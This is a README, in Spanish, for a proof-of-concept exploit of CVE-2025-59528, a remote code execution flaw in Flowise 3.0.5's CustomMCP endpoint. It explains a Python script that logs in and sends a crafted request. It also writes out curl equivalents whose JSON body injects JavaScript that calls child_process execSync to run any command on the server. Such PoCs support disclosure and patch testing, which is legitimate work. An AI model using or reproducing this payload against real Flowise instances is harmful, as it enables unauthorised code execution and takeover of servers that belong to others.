CVE-2025-59528 PoC

Script de prueba de concepto en Python para desencadenar la ruta RCE CustomMCP de Flowise a través de POST /api/v1/node-load-method/customMCP.

⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posee o para los cuales no tiene permiso por escrito para probar es ilegal.

Credit

• im-soohyun (Kim SooHyun)

Detalles

• PoC para CVE-2025-59528
• Versión afectada: Flowise 3.0.5
• Versión parcheada: Flowise 3.0.6
• Referencia: https://github.com/advisories/GHSA-3gcm-f6qx-ff7p

Archivos

• poc.py: solicita URL/IP de la máquina, protocolo opcional cuando se usa solo host/IP, correo electrónico, contraseña y comando; inicia sesión, reutiliza cookies, luego envía una solicitud CustomMCP manipulada e imprime el estado HTTP, los encabezados y el cuerpo de la respuesta similar a curl -i

Uso

Ejecutar:

python3 poc.py

Luego proporcionar:

• URL/IP de la máquina, como 10.10.11.10, http://10.10.11.10 o https://target.example
• protocolo si se solicita para solo host/IP
• dirección de correo electrónico
• contraseña para una cuenta en la instancia objetivo de Flowise
• comando a ejecutar en el servidor

curl equivalente

1ª solicitud

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"<[email protected]>","password":"<password>"}'

2ª solicitud

curl -i -X POST https://<target>/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<token>; refreshToken=<refreshToken>; connect.sid=<connect.sid>" \
  -d '{
        "loadMethod":"listActions",
        "inputs":{
          "mcpServerConfig":"({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"<command>\");return 1;})()})"
        }
      }'